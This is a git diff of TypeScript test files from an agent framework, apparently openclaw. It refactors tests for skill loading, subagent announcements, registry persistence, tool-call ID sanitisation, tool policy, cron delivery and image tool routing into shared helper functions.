expect(prompt1).toContain("Personal agents version");
expect(prompt1).not.toContain("Managed version");
@@ -107,18 +110,13 @@ describe("buildWorkspaceSkillsPrompt — .agents/skills/ directories", () => {
description: "Project agents version",
});
const prompt2 = buildWorkspaceSkillsPrompt(workspaceDir, {
managedSkillsDir: managedDir,
bundledSkillsDir: bundledDir,
});
const prompt2 = buildSkillsPrompt(workspaceDir, managedDir, bundledDir);
expect(prompt2).toContain("Project agents version");
expect(prompt2).not.toContain("Personal agents version");
});
it("loads unique skills from all .agents/skills/ sources alongside others", async () => {
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-"));
const managedDir = path.join(workspaceDir, ".managed");
const bundledDir = path.join(workspaceDir, ".bundled");
const { workspaceDir, managedDir, bundledDir } = await createWorkspaceSkillDirs();
await writeSkill({
dir: path.join(managedDir, "managed-only"),
@@ -141,10 +139,7 @@ describe("buildWorkspaceSkillsPrompt — .agents/skills/ directories", () => {
description: "Workspace only skill",
});
const prompt = buildWorkspaceSkillsPrompt(workspaceDir, {
managedSkillsDir: managedDir,
bundledSkillsDir: bundledDir,
});
const prompt = buildSkillsPrompt(workspaceDir, managedDir, bundledDir);
expect(prompt).toContain("managed-only");
expect(prompt).toContain("personal-only");
expect(prompt).toContain("project-only");

View File

@@ -2,30 +2,9 @@ import fs from "node:fs/promises";
import os from "node:os";
import path from "node:path";
import { describe, expect, it } from "vitest";
import { writeSkill } from "./skills.e2e-test-helpers.js";
import { buildWorkspaceSkillsPrompt, syncSkillsToWorkspace } from "./skills.js";
async function writeSkill(params: {
dir: string;
name: string;
description: string;
metadata?: string;
body?: string;
}) {
const { dir, name, description, metadata, body } = params;
await fs.mkdir(dir, { recursive: true });
await fs.writeFile(
path.join(dir, "SKILL.md"),
`---
name: ${name}
description: ${description}${metadata ? `\nmetadata: ${metadata}` : ""}
---
${body ?? `# ${name}\n`}
`,
"utf-8",
);
}
async function pathExists(filePath: string): Promise<boolean> {
try {
await fs.access(filePath);

View File

@@ -3,28 +3,7 @@ import os from "node:os";
import path from "node:path";
import { describe, expect, it } from "vitest";
import { buildWorkspaceSkillStatus } from "./skills-status.js";
async function writeSkill(params: {
dir: string;
name: string;
description: string;
metadata?: string;
body?: string;
}) {
const { dir, name, description, metadata, body } = params;
await fs.mkdir(dir, { recursive: true });
await fs.writeFile(
path.join(dir, "SKILL.md"),
`---
name: ${name}
description: ${description}${metadata ? `\nmetadata: ${metadata}` : ""}
---
${body ?? `# ${name}\n`}
`,
"utf-8",
);
}
import { writeSkill } from "./skills.e2e-test-helpers.js";
describe("buildWorkspaceSkillStatus", () => {
it("reports missing requirements and install options", async () => {

View File

@@ -4,28 +4,6 @@ import path from "node:path";
import { describe, expect, it } from "vitest";
import { loadWorkspaceSkillEntries } from "./skills.js";
async function _writeSkill(params: {
dir: string;
name: string;
description: string;
metadata?: string;
body?: string;
}) {
const { dir, name, description, metadata, body } = params;
await fs.mkdir(dir, { recursive: true });
await fs.writeFile(
path.join(dir, "SKILL.md"),
`---
name: ${name}
description: ${description}${metadata ? `\nmetadata: ${metadata}` : ""}
---
${body ?? `# ${name}\n`}
`,
"utf-8",
);
}
async function setupWorkspaceWithProsePlugin() {
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-"));
const managedDir = path.join(workspaceDir, ".managed");

View File

@@ -1,30 +1,6 @@
import fs from "node:fs/promises";
import path from "node:path";
import { describe, expect, it } from "vitest";
import { resolveSkillsPromptForRun } from "./skills.js";
async function _writeSkill(params: {
dir: string;
name: string;
description: string;
metadata?: string;
body?: string;
}) {
const { dir, name, description, metadata, body } = params;
await fs.mkdir(dir, { recursive: true });
await fs.writeFile(
path.join(dir, "SKILL.md"),
`---
name: ${name}
description: ${description}${metadata ? `\nmetadata: ${metadata}` : ""}
---
${body ?? `# ${name}\n`}
`,
"utf-8",
);
}
describe("resolveSkillsPromptForRun", () => {
it("prefers snapshot prompt when available", () => {
const prompt = resolveSkillsPromptForRun({

View File

@@ -10,6 +10,7 @@ import { parseFrontmatterBlock } from "../../markdown/frontmatter.js";
import {
getFrontmatterString,
normalizeStringList,
parseOpenClawManifestInstallBase,
parseFrontmatterBool,
resolveOpenClawManifestBlock,
resolveOpenClawManifestInstall,
@@ -22,30 +23,23 @@ export function parseFrontmatter(content: string): ParsedSkillFrontmatter {
}
function parseInstallSpec(input: unknown): SkillInstallSpec | undefined {
if (!input || typeof input !== "object") {
const parsed = parseOpenClawManifestInstallBase(input, ["brew", "node", "go", "uv", "download"]);
if (!parsed) {
return undefined;
}
const raw = input as Record<string, unknown>;
const kindRaw =
typeof raw.kind === "string" ? raw.kind : typeof raw.type === "string" ? raw.type : "";
const kind = kindRaw.trim().toLowerCase();
if (kind !== "brew" && kind !== "node" && kind !== "go" && kind !== "uv" && kind !== "download") {
return undefined;
}
const { raw } = parsed;
const spec: SkillInstallSpec = {
kind: kind,
kind: parsed.kind as SkillInstallSpec["kind"],
};
if (typeof raw.id === "string") {
spec.id = raw.id;
if (parsed.id) {
spec.id = parsed.id;
}
if (typeof raw.label === "string") {
spec.label = raw.label;
if (parsed.label) {
spec.label = parsed.label;
}
const bins = normalizeStringList(raw.bins);
if (bins.length > 0) {
spec.bins = bins;
if (parsed.bins) {
spec.bins = parsed.bins;
}
const osList = normalizeStringList(raw.os);
if (osList.length > 0) {

View File

@@ -22,6 +22,21 @@ let configOverride: ReturnType<(typeof import("../config/config.js"))["loadConfi
scope: "per-sender",
},
};
const defaultOutcomeAnnounce = {
task: "do thing",
timeoutMs: 1000,
cleanup: "keep" as const,
waitForCompletion: false,
startedAt: 10,
endedAt: 20,
outcome: { status: "ok" } as const,
};
async function getSingleAgentCallParams() {
await expect.poll(() => agentSpy.mock.calls.length).toBe(1);
const call = agentSpy.mock.calls[0]?.[0] as { params?: Record<string, unknown> };
return call?.params ?? {};
}
function loadSessionStoreFixture(): Record<string, Record<string, unknown>> {
return new Proxy(sessionStore, {
@@ -150,13 +165,7 @@ describe("subagent announce formatting", () => {
childRunId: "run-456",
requesterSessionKey: "agent:main:main",
requesterDisplayKey: "main",
task: "do thing",
timeoutMs: 1000,
cleanup: "keep",
waitForCompletion: false,
startedAt: 10,
endedAt: 20,
outcome: { status: "ok" },
...defaultOutcomeAnnounce,
});
const call = agentSpy.mock.calls[0]?.[0] as { params?: { message?: string } };
@@ -171,13 +180,7 @@ describe("subagent announce formatting", () => {
childRunId: "run-direct-idem",
requesterSessionKey: "agent:main:main",
requesterDisplayKey: "main",
task: "do thing",
timeoutMs: 1000,
cleanup: "keep",
waitForCompletion: false,
startedAt: 10,
endedAt: 20,
outcome: { status: "ok" },
...defaultOutcomeAnnounce,
});
const call = agentSpy.mock.calls[0]?.[0] as { params?: Record<string, unknown> };
@@ -205,13 +208,7 @@ describe("subagent announce formatting", () => {
childRunId: "run-usage",
requesterSessionKey: "agent:main:main",
requesterDisplayKey: "main",
task: "do thing",
timeoutMs: 1000,
cleanup: "keep",
waitForCompletion: false,
startedAt: 10,
endedAt: 20,
outcome: { status: "ok" },
...defaultOutcomeAnnounce,
});
const call = agentSpy.mock.calls[0]?.[0] as { params?: { message?: string } };
@@ -248,13 +245,7 @@ describe("subagent announce formatting", () => {
childRunId: "run-789",
requesterSessionKey: "main",
requesterDisplayKey: "main",
task: "do thing",
timeoutMs: 1000,
cleanup: "keep",
waitForCompletion: false,
startedAt: 10,
endedAt: 20,
outcome: { status: "ok" },
...defaultOutcomeAnnounce,
});
expect(didAnnounce).toBe(true);
@@ -285,22 +276,14 @@ describe("subagent announce formatting", () => {
childRunId: "run-999",
requesterSessionKey: "main",
requesterDisplayKey: "main",
task: "do thing",
timeoutMs: 1000,
cleanup: "keep",
waitForCompletion: false,
startedAt: 10,
endedAt: 20,
outcome: { status: "ok" },
...defaultOutcomeAnnounce,
});
expect(didAnnounce).toBe(true);
await expect.poll(() => agentSpy.mock.calls.length).toBe(1);
const call = agentSpy.mock.calls[0]?.[0] as { params?: Record<string, unknown> };
expect(call?.params?.channel).toBe("whatsapp");
expect(call?.params?.to).toBe("+1555");
expect(call?.params?.accountId).toBe("kev");
const params = await getSingleAgentCallParams();
expect(params.channel).toBe("whatsapp");
expect(params.to).toBe("+1555");
expect(params.accountId).toBe("kev");
});
it("keeps queued idempotency unique for same-ms distinct child runs", async () => {
@@ -376,13 +359,7 @@ describe("subagent announce formatting", () => {
requesterSessionKey: "agent:main:subagent:orchestrator",
requesterDisplayKey: "agent:main:subagent:orchestrator",
requesterOrigin: { channel: "whatsapp", to: "+1555", accountId: "acct" },
task: "do thing",
timeoutMs: 1000,
cleanup: "keep",
waitForCompletion: false,
startedAt: 10,
endedAt: 20,
outcome: { status: "ok" },
...defaultOutcomeAnnounce,
});
expect(didAnnounce).toBe(true);
@@ -415,22 +392,14 @@ describe("subagent announce formatting", () => {
childRunId: "run-thread",
requesterSessionKey: "main",
requesterDisplayKey: "main",
task: "do thing",
timeoutMs: 1000,
cleanup: "keep",
waitForCompletion: false,
startedAt: 10,
endedAt: 20,
outcome: { status: "ok" },
...defaultOutcomeAnnounce,
});
expect(didAnnounce).toBe(true);
await expect.poll(() => agentSpy.mock.calls.length).toBe(1);
const call = agentSpy.mock.calls[0]?.[0] as { params?: Record<string, unknown> };
expect(call?.params?.channel).toBe("telegram");
expect(call?.params?.to).toBe("telegram:123");
expect(call?.params?.threadId).toBe("42");
const params = await getSingleAgentCallParams();
expect(params.channel).toBe("telegram");
expect(params.to).toBe("telegram:123");
expect(params.threadId).toBe("42");
});
it("prefers requesterOrigin.threadId over session entry threadId", async () => {
@@ -458,13 +427,7 @@ describe("subagent announce formatting", () => {
to: "telegram:123",
threadId: 99,
},
task: "do thing",
timeoutMs: 1000,
cleanup: "keep",
waitForCompletion: false,
startedAt: 10,
endedAt: 20,
outcome: { status: "ok" },
...defaultOutcomeAnnounce,
});
expect(didAnnounce).toBe(true);
@@ -495,13 +458,7 @@ describe("subagent announce formatting", () => {
requesterSessionKey: "main",
requesterDisplayKey: "main",
requesterOrigin: { accountId: "acct-a" },
task: "do thing",
timeoutMs: 1000,
cleanup: "keep",
waitForCompletion: false,
startedAt: 10,
endedAt: 20,
outcome: { status: "ok" },
...defaultOutcomeAnnounce,
}),
runSubagentAnnounceFlow({
childSessionKey: "agent:main:subagent:test-b",
@@ -509,13 +466,7 @@ describe("subagent announce formatting", () => {
requesterSessionKey: "main",
requesterDisplayKey: "main",
requesterOrigin: { accountId: "acct-b" },
task: "do thing",
timeoutMs: 1000,
cleanup: "keep",
waitForCompletion: false,
startedAt: 10,
endedAt: 20,
outcome: { status: "ok" },
...defaultOutcomeAnnounce,
}),
]);
@@ -538,13 +489,7 @@ describe("subagent announce formatting", () => {
requesterSessionKey: "agent:main:main",
requesterOrigin: { channel: "whatsapp", accountId: "acct-123" },
requesterDisplayKey: "main",
task: "do thing",
timeoutMs: 1000,
cleanup: "keep",
waitForCompletion: false,
startedAt: 10,
endedAt: 20,
outcome: { status: "ok" },
...defaultOutcomeAnnounce,
});
expect(didAnnounce).toBe(true);
@@ -568,13 +513,7 @@ describe("subagent announce formatting", () => {
requesterSessionKey: "agent:main:subagent:orchestrator",
requesterOrigin: { channel: "whatsapp", accountId: "acct-123", to: "+1555" },
requesterDisplayKey: "agent:main:subagent:orchestrator",
task: "do thing",
timeoutMs: 1000,
cleanup: "keep",
waitForCompletion: false,
startedAt: 10,
endedAt: 20,
outcome: { status: "ok" },
...defaultOutcomeAnnounce,
});
expect(didAnnounce).toBe(true);
@@ -632,13 +571,7 @@ describe("subagent announce formatting", () => {
childRunId: "run-child",
requesterSessionKey: "agent:main:main",
requesterDisplayKey: "main",
task: "do thing",
timeoutMs: 1000,
cleanup: "keep",
waitForCompletion: false,
startedAt: 10,
endedAt: 20,
outcome: { status: "ok" },
...defaultOutcomeAnnounce,
});
const call = agentSpy.mock.calls[0]?.[0] as { params?: { message?: string } };
@@ -661,13 +594,7 @@ describe("subagent announce formatting", () => {
childRunId: "run-parent",
requesterSessionKey: "agent:main:main",
requesterDisplayKey: "main",
task: "do thing",
timeoutMs: 1000,
cleanup: "keep",
waitForCompletion: false,
startedAt: 10,
endedAt: 20,
outcome: { status: "ok" },
...defaultOutcomeAnnounce,
});
expect(didAnnounce).toBe(false);
@@ -687,13 +614,7 @@ describe("subagent announce formatting", () => {
childRunId: "run-leaf",
requesterSessionKey: "agent:main:subagent:orchestrator",
requesterDisplayKey: "agent:main:subagent:orchestrator",
task: "do thing",
timeoutMs: 1000,
cleanup: "keep",
waitForCompletion: false,
startedAt: 10,
endedAt: 20,
outcome: { status: "ok" },
...defaultOutcomeAnnounce,
});
expect(didAnnounce).toBe(true);
@@ -771,13 +692,7 @@ describe("subagent announce formatting", () => {
requesterSessionKey: "agent:main:main",
requesterOrigin: { channel: " whatsapp ", accountId: " acct-987 " },
requesterDisplayKey: "main",
task: "do thing",
timeoutMs: 1000,
cleanup: "keep",
waitForCompletion: false,
startedAt: 10,
endedAt: 20,
outcome: { status: "ok" },
...defaultOutcomeAnnounce,
});
expect(didAnnounce).toBe(true);
@@ -806,13 +721,7 @@ describe("subagent announce formatting", () => {
requesterSessionKey: "main",
requesterOrigin: { channel: "bluebubbles", to: "bluebubbles:chat_guid:123" },
requesterDisplayKey: "main",
task: "do thing",
timeoutMs: 1000,
cleanup: "keep",
waitForCompletion: false,
startedAt: 10,
endedAt: 20,
outcome: { status: "ok" },
...defaultOutcomeAnnounce,
});
expect(didAnnounce).toBe(true);

View File

@@ -33,6 +33,43 @@ describe("subagent registry persistence", () => {
const envSnapshot = captureEnv(["OPENCLAW_STATE_DIR"]);
let tempStateDir: string | null = null;
const writePersistedRegistry = async (persisted: Record<string, unknown>) => {
tempStateDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-subagent-"));
process.env.OPENCLAW_STATE_DIR = tempStateDir;
const registryPath = path.join(tempStateDir, "subagents", "runs.json");
await fs.mkdir(path.dirname(registryPath), { recursive: true });
await fs.writeFile(registryPath, `${JSON.stringify(persisted)}\n`, "utf8");
return registryPath;
};
const createPersistedEndedRun = (params: {
runId: string;
childSessionKey: string;
task: string;
cleanup: "keep" | "delete";
}) => ({
version: 2,
runs: {
[params.runId]: {
runId: params.runId,
childSessionKey: params.childSessionKey,
requesterSessionKey: "agent:main:main",
requesterDisplayKey: "main",
task: params.task,
cleanup: params.cleanup,
createdAt: 1,
startedAt: 1,
endedAt: 2,
},
},
});
const restartRegistryAndFlush = async () => {
resetSubagentRegistryForTests({ persist: false });
initSubagentRegistry();
await new Promise((r) => setTimeout(r, 0));
};
afterEach(async () => {
announceSpy.mockClear();
resetSubagentRegistryForTests({ persist: false });
@@ -139,10 +176,6 @@ describe("subagent registry persistence", () => {
});
it("maps legacy announce fields into cleanup state", async () => {
tempStateDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-subagent-"));
process.env.OPENCLAW_STATE_DIR = tempStateDir;
const registryPath = path.join(tempStateDir, "subagents", "runs.json");
const persisted = {
version: 1,
runs: {
@@ -163,8 +196,7 @@ describe("subagent registry persistence", () => {
},
},
};
await fs.mkdir(path.dirname(registryPath), { recursive: true });
await fs.writeFile(registryPath, `${JSON.stringify(persisted)}\n`, "utf8");
const registryPath = await writePersistedRegistry(persisted);
const runs = loadSubagentRegistryFromDisk();
const entry = runs.get("run-legacy");
@@ -178,33 +210,16 @@ describe("subagent registry persistence", () => {
});
it("retries cleanup announce after a failed announce", async () => {
tempStateDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-subagent-"));
process.env.OPENCLAW_STATE_DIR = tempStateDir;
const registryPath = path.join(tempStateDir, "subagents", "runs.json");
const persisted = {
version: 2,
runs: {
"run-3": {
runId: "run-3",
childSessionKey: "agent:main:subagent:three",
requesterSessionKey: "agent:main:main",
requesterDisplayKey: "main",
task: "retry announce",
cleanup: "keep",
createdAt: 1,
startedAt: 1,
endedAt: 2,
},
},
};
await fs.mkdir(path.dirname(registryPath), { recursive: true });
await fs.writeFile(registryPath, `${JSON.stringify(persisted)}\n`, "utf8");
const persisted = createPersistedEndedRun({
runId: "run-3",
childSessionKey: "agent:main:subagent:three",
task: "retry announce",
cleanup: "keep",
});
const registryPath = await writePersistedRegistry(persisted);
announceSpy.mockResolvedValueOnce(false);
resetSubagentRegistryForTests({ persist: false });
initSubagentRegistry();
await new Promise((r) => setTimeout(r, 0));
await restartRegistryAndFlush();
expect(announceSpy).toHaveBeenCalledTimes(1);
const afterFirst = JSON.parse(await fs.readFile(registryPath, "utf8")) as {
@@ -214,9 +229,7 @@ describe("subagent registry persistence", () => {
expect(afterFirst.runs["run-3"].cleanupCompletedAt).toBeUndefined();
announceSpy.mockResolvedValueOnce(true);
resetSubagentRegistryForTests({ persist: false });
initSubagentRegistry();
await new Promise((r) => setTimeout(r, 0));
await restartRegistryAndFlush();
expect(announceSpy).toHaveBeenCalledTimes(2);
const afterSecond = JSON.parse(await fs.readFile(registryPath, "utf8")) as {
@@ -226,33 +239,16 @@ describe("subagent registry persistence", () => {
});
it("keeps delete-mode runs retryable when announce is deferred", async () => {
tempStateDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-subagent-"));
process.env.OPENCLAW_STATE_DIR = tempStateDir;
const registryPath = path.join(tempStateDir, "subagents", "runs.json");
const persisted = {
version: 2,
runs: {
"run-4": {
runId: "run-4",
childSessionKey: "agent:main:subagent:four",
requesterSessionKey: "agent:main:main",
requesterDisplayKey: "main",
task: "deferred announce",
cleanup: "delete",
createdAt: 1,
startedAt: 1,
endedAt: 2,
},
},
};
await fs.mkdir(path.dirname(registryPath), { recursive: true });
await fs.writeFile(registryPath, `${JSON.stringify(persisted)}\n`, "utf8");
const persisted = createPersistedEndedRun({
runId: "run-4",
childSessionKey: "agent:main:subagent:four",
task: "deferred announce",
cleanup: "delete",
});
const registryPath = await writePersistedRegistry(persisted);
announceSpy.mockResolvedValueOnce(false);
resetSubagentRegistryForTests({ persist: false });
initSubagentRegistry();
await new Promise((r) => setTimeout(r, 0));
await restartRegistryAndFlush();
expect(announceSpy).toHaveBeenCalledTimes(1);
const afterFirst = JSON.parse(await fs.readFile(registryPath, "utf8")) as {
@@ -261,9 +257,7 @@ describe("subagent registry persistence", () => {
expect(afterFirst.runs["run-4"]?.cleanupHandled).toBe(false);
announceSpy.mockResolvedValueOnce(true);
resetSubagentRegistryForTests({ persist: false });
initSubagentRegistry();
await new Promise((r) => setTimeout(r, 0));
await restartRegistryAndFlush();
expect(announceSpy).toHaveBeenCalledTimes(2);
const afterSecond = JSON.parse(await fs.readFile(registryPath, "utf8")) as {

View File

@@ -5,6 +5,49 @@ import {
sanitizeToolCallIdsForCloudCodeAssist,
} from "./tool-call-id.js";
const buildDuplicateIdCollisionInput = () =>
[
{
role: "assistant",
content: [
{ type: "toolCall", id: "call_a|b", name: "read", arguments: {} },
{ type: "toolCall", id: "call_a:b", name: "read", arguments: {} },
],
},
{
role: "toolResult",
toolCallId: "call_a|b",
toolName: "read",
content: [{ type: "text", text: "one" }],
},
{
role: "toolResult",
toolCallId: "call_a:b",
toolName: "read",
content: [{ type: "text", text: "two" }],
},
] satisfies AgentMessage[];
function expectCollisionIdsRemainDistinct(
out: AgentMessage[],
mode: "strict" | "strict9",
): { aId: string; bId: string } {
const assistant = out[0] as Extract<AgentMessage, { role: "assistant" }>;
const a = assistant.content?.[0] as { id?: string };
const b = assistant.content?.[1] as { id?: string };
expect(typeof a.id).toBe("string");
expect(typeof b.id).toBe("string");
expect(a.id).not.toBe(b.id);
expect(isValidCloudCodeAssistToolId(a.id as string, mode)).toBe(true);
expect(isValidCloudCodeAssistToolId(b.id as string, mode)).toBe(true);
const r1 = out[1] as Extract<AgentMessage, { role: "toolResult" }>;
const r2 = out[2] as Extract<AgentMessage, { role: "toolResult" }>;
expect(r1.toolCallId).toBe(a.id);
expect(r2.toolCallId).toBe(b.id);
return { aId: a.id as string, bId: b.id as string };
}
describe("sanitizeToolCallIdsForCloudCodeAssist", () => {
describe("strict mode (default)", () => {
it("is a no-op for already-valid non-colliding IDs", () => {
@@ -53,44 +96,11 @@ describe("sanitizeToolCallIdsForCloudCodeAssist", () => {
});
it("avoids collisions when sanitization would produce duplicate IDs", () => {
const input = [
{
role: "assistant",
content: [
{ type: "toolCall", id: "call_a|b", name: "read", arguments: {} },
{ type: "toolCall", id: "call_a:b", name: "read", arguments: {} },
],
},
{
role: "toolResult",
toolCallId: "call_a|b",
toolName: "read",
content: [{ type: "text", text: "one" }],
},
{
role: "toolResult",
toolCallId: "call_a:b",
toolName: "read",
content: [{ type: "text", text: "two" }],
},
] satisfies AgentMessage[];
const input = buildDuplicateIdCollisionInput();
const out = sanitizeToolCallIdsForCloudCodeAssist(input);
expect(out).not.toBe(input);
const assistant = out[0] as Extract<AgentMessage, { role: "assistant" }>;
const a = assistant.content?.[0] as { id?: string };
const b = assistant.content?.[1] as { id?: string };
expect(typeof a.id).toBe("string");
expect(typeof b.id).toBe("string");
expect(a.id).not.toBe(b.id);
expect(isValidCloudCodeAssistToolId(a.id as string, "strict")).toBe(true);
expect(isValidCloudCodeAssistToolId(b.id as string, "strict")).toBe(true);
const r1 = out[1] as Extract<AgentMessage, { role: "toolResult" }>;
const r2 = out[2] as Extract<AgentMessage, { role: "toolResult" }>;
expect(r1.toolCallId).toBe(a.id);
expect(r2.toolCallId).toBe(b.id);
expectCollisionIdsRemainDistinct(out, "strict");
});
it("caps tool call IDs at 40 chars while preserving uniqueness", () => {
@@ -174,48 +184,14 @@ describe("sanitizeToolCallIdsForCloudCodeAssist", () => {
});
it("avoids collisions with alphanumeric-only suffixes", () => {
const input = [
{
role: "assistant",
content: [
{ type: "toolCall", id: "call_a|b", name: "read", arguments: {} },
{ type: "toolCall", id: "call_a:b", name: "read", arguments: {} },
],
},
{
role: "toolResult",
toolCallId: "call_a|b",
toolName: "read",
content: [{ type: "text", text: "one" }],
},
{
role: "toolResult",
toolCallId: "call_a:b",
toolName: "read",
content: [{ type: "text", text: "two" }],
},
] satisfies AgentMessage[];
const input = buildDuplicateIdCollisionInput();
const out = sanitizeToolCallIdsForCloudCodeAssist(input, "strict");
expect(out).not.toBe(input);
const assistant = out[0] as Extract<AgentMessage, { role: "assistant" }>;
const a = assistant.content?.[0] as { id?: string };
const b = assistant.content?.[1] as { id?: string };
expect(typeof a.id).toBe("string");
expect(typeof b.id).toBe("string");
expect(a.id).not.toBe(b.id);
// Both should be strictly alphanumeric
expect(isValidCloudCodeAssistToolId(a.id as string, "strict")).toBe(true);
expect(isValidCloudCodeAssistToolId(b.id as string, "strict")).toBe(true);
const { aId, bId } = expectCollisionIdsRemainDistinct(out, "strict");
// Should not contain underscores or hyphens
expect(a.id).not.toMatch(/[_-]/);
expect(b.id).not.toMatch(/[_-]/);
const r1 = out[1] as Extract<AgentMessage, { role: "toolResult" }>;
const r2 = out[2] as Extract<AgentMessage, { role: "toolResult" }>;
expect(r1.toolCallId).toBe(a.id);
expect(r2.toolCallId).toBe(b.id);
expect(aId).not.toMatch(/[_-]/);
expect(bId).not.toMatch(/[_-]/);
});
});

View File

@@ -13,6 +13,21 @@ import {
TOOL_GROUPS,
} from "./tool-policy.js";
function createOwnerPolicyTools() {
return [
{
name: "read",
// oxlint-disable-next-line typescript/no-explicit-any
execute: async () => ({ content: [], details: {} }) as any,
},
{
name: "whatsapp_login",
// oxlint-disable-next-line typescript/no-explicit-any
execute: async () => ({ content: [], details: {} }) as any,
},
] as unknown as AnyAgentTool[];
}
describe("tool-policy", () => {
it("expands groups and normalizes aliases", () => {
const expanded = expandToolGroups(["group:runtime", "BASH", "apply-patch", "group:fs"]);
@@ -52,37 +67,13 @@ describe("tool-policy", () => {
});
it("strips owner-only tools for non-owner senders", async () => {
const tools = [
{
name: "read",
// oxlint-disable-next-line typescript/no-explicit-any
execute: async () => ({ content: [], details: {} }) as any,
},
{
name: "whatsapp_login",
// oxlint-disable-next-line typescript/no-explicit-any
execute: async () => ({ content: [], details: {} }) as any,
},
] as unknown as AnyAgentTool[];
const tools = createOwnerPolicyTools();
const filtered = applyOwnerOnlyToolPolicy(tools, false);
expect(filtered.map((t) => t.name)).toEqual(["read"]);
});
it("keeps owner-only tools for the owner sender", async () => {
const tools = [
{
name: "read",
// oxlint-disable-next-line typescript/no-explicit-any
execute: async () => ({ content: [], details: {} }) as any,
},
{
name: "whatsapp_login",
// oxlint-disable-next-line typescript/no-explicit-any
execute: async () => ({ content: [], details: {} }) as any,
},
] as unknown as AnyAgentTool[];
const tools = createOwnerPolicyTools();
const filtered = applyOwnerOnlyToolPolicy(tools, true);
expect(filtered.map((t) => t.name)).toEqual(["read", "whatsapp_login"]);
});

View File

@@ -12,6 +12,28 @@ vi.mock("../agent-scope.js", () => ({
import { createCronTool } from "./cron-tool.js";
describe("cron tool", () => {
async function executeAddAndReadDelivery(params: {
callId: string;
agentSessionKey: string;
delivery?: { mode?: string; channel?: string; to?: string } | null;
}) {
const tool = createCronTool({ agentSessionKey: params.agentSessionKey });
await tool.execute(params.callId, {
action: "add",
job: {
name: "reminder",
schedule: { at: new Date(123).toISOString() },
payload: { kind: "agentTurn", message: "hello" },
...(params.delivery !== undefined ? { delivery: params.delivery } : {}),
},
});
const call = callGatewayMock.mock.calls[0]?.[0] as {
params?: { delivery?: { mode?: string; channel?: string; to?: string } };
};
return call?.params?.delivery;
}
beforeEach(() => {
callGatewayMock.mockReset();
callGatewayMock.mockResolvedValue({ ok: true });
@@ -249,24 +271,12 @@ describe("cron tool", () => {
});
it("infers delivery from threaded session keys", async () => {
callGatewayMock.mockResolvedValueOnce({ ok: true });
const tool = createCronTool({
agentSessionKey: "agent:main:slack:channel:general:thread:1699999999.0001",
});
await tool.execute("call-thread", {
action: "add",
job: {
name: "reminder",
schedule: { at: new Date(123).toISOString() },
payload: { kind: "agentTurn", message: "hello" },
},
});
const call = callGatewayMock.mock.calls[0]?.[0] as {
params?: { delivery?: { mode?: string; channel?: string; to?: string } };
};
expect(call?.params?.delivery).toEqual({
expect(
await executeAddAndReadDelivery({
callId: "call-thread",
agentSessionKey: "agent:main:slack:channel:general:thread:1699999999.0001",
}),
).toEqual({
mode: "announce",
channel: "slack",
to: "general",
@@ -274,24 +284,12 @@ describe("cron tool", () => {
});
it("preserves telegram forum topics when inferring delivery", async () => {
callGatewayMock.mockResolvedValueOnce({ ok: true });
const tool = createCronTool({
agentSessionKey: "agent:main:telegram:group:-1001234567890:topic:99",
});
await tool.execute("call-telegram-topic", {
action: "add",
job: {
name: "reminder",
schedule: { at: new Date(123).toISOString() },
payload: { kind: "agentTurn", message: "hello" },
},
});
const call = callGatewayMock.mock.calls[0]?.[0] as {
params?: { delivery?: { mode?: string; channel?: string; to?: string } };
};
expect(call?.params?.delivery).toEqual({
expect(
await executeAddAndReadDelivery({
callId: "call-telegram-topic",
agentSessionKey: "agent:main:telegram:group:-1001234567890:topic:99",
}),
).toEqual({
mode: "announce",
channel: "telegram",
to: "-1001234567890:topic:99",
@@ -299,23 +297,13 @@ describe("cron tool", () => {
});
it("infers delivery when delivery is null", async () => {
callGatewayMock.mockResolvedValueOnce({ ok: true });
const tool = createCronTool({ agentSessionKey: "agent:main:dm:alice" });
await tool.execute("call-null-delivery", {
action: "add",
job: {
name: "reminder",
schedule: { at: new Date(123).toISOString() },
payload: { kind: "agentTurn", message: "hello" },
expect(
await executeAddAndReadDelivery({
callId: "call-null-delivery",
agentSessionKey: "agent:main:dm:alice",
delivery: null,
},
});
const call = callGatewayMock.mock.calls[0]?.[0] as {
params?: { delivery?: { mode?: string; channel?: string; to?: string } };
};
expect(call?.params?.delivery).toEqual({
}),
).toEqual({
mode: "announce",
to: "alice",
});

View File

@@ -62,6 +62,22 @@ function createMinimaxImageConfig(): OpenClawConfig {
};
}
async function expectImageToolExecOk(
tool: {
execute: (toolCallId: string, input: { prompt: string; image: string }) => Promise<unknown>;
},
image: string,
) {
await expect(
tool.execute("t1", {
prompt: "Describe the image.",
image,
}),
).resolves.toMatchObject({
content: [{ type: "text", text: "ok" }],
});
}
describe("image tool implicit imageModel config", () => {
const priorFetch = global.fetch;
@@ -220,14 +236,7 @@ describe("image tool implicit imageModel config", () => {
throw new Error("expected image tool");
}
await expect(
withWorkspace.execute("t1", {
prompt: "Describe the image.",
image: imagePath,
}),
).resolves.toMatchObject({
content: [{ type: "text", text: "ok" }],
});
await expectImageToolExecOk(withWorkspace, imagePath);
expect(fetch).toHaveBeenCalledTimes(1);
} finally {
@@ -250,14 +259,7 @@ describe("image tool implicit imageModel config", () => {
throw new Error("expected image tool");
}
await expect(
tool.execute("t1", {
prompt: "Describe the image.",
image: imagePath,
}),
).resolves.toMatchObject({
content: [{ type: "text", text: "ok" }],
});
await expectImageToolExecOk(tool, imagePath);
expect(fetch).toHaveBeenCalledTimes(1);
} finally {
@@ -383,15 +385,15 @@ describe("image tool MiniMax VLM routing", () => {
global.fetch = priorFetch;
});
it("calls /v1/coding_plan/vlm for minimax image models", async () => {
async function createMinimaxVlmFixture(baseResp: { status_code: number; status_msg: string }) {
const fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
statusText: "OK",
headers: new Headers(),
json: async () => ({
content: "ok",
base_resp: { status_code: 0, status_msg: "" },
content: baseResp.status_code === 0 ? "ok" : "",
base_resp: baseResp,
}),
});
// @ts-expect-error partial global
@@ -407,6 +409,11 @@ describe("image tool MiniMax VLM routing", () => {
if (!tool) {
throw new Error("expected image tool");
}
return { fetch, tool };
}
it("calls /v1/coding_plan/vlm for minimax image models", async () => {
const { fetch, tool } = await createMinimaxVlmFixture({ status_code: 0, status_msg: "" });
const res = await tool.execute("t1", {
prompt: "Describe the image.",
